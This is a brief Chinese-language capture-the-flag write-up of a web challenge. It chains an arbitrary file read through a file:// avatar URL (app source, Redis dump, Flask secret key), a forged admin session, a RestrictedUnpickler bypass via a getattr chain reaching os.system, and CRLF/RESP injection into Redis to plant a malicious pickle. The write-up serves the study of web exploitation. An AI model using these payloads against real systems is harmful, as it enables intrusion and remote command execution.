两个人ak了。
不过…我讨厌国内安全比赛。
注册一个用户之后修改头像,avatar_url 支持 file:// 协议,可以任意文件读取,但是没权限读取 /flag,结果经过 base64 后放在头像框内
先读 /app/app.py
avatar_url=file:///app/app.py
发现存在 redis,尝试读 redis 持久化文件 dump.rdb
avatar_url=file:///var/lib/redis/dump.rdb
拿到 Flask secret_key
伪造 admin 的 session cookie 登录
/admin/online-users 会遍历 online_user:* 并反序列化。
虽然用了 RestrictedUnpickler,但放行了 builtins.getattr,而 OnlineUser 在白名单内
可构造 pickle 链:
getattr(getattr(getattr(getattr(OnlineUser, "__init__"),"__globals__")"get")("os"),"system")(cmd)
由于目标是:online_user:<user>
需要把该键覆盖成恶意 pickle
利用点仍是 avatar_url:将请求打到 127.0.0.1:6379,通过 CRLF + RESP 进行协议注入,发送:
AUTH redispass123
SET online_user:<user> <pickle_payload>
EXPIRE online_user:<user> 3600
通过读取 file:///proc/1/task/1/children,拿到子进程 PID:11 14 20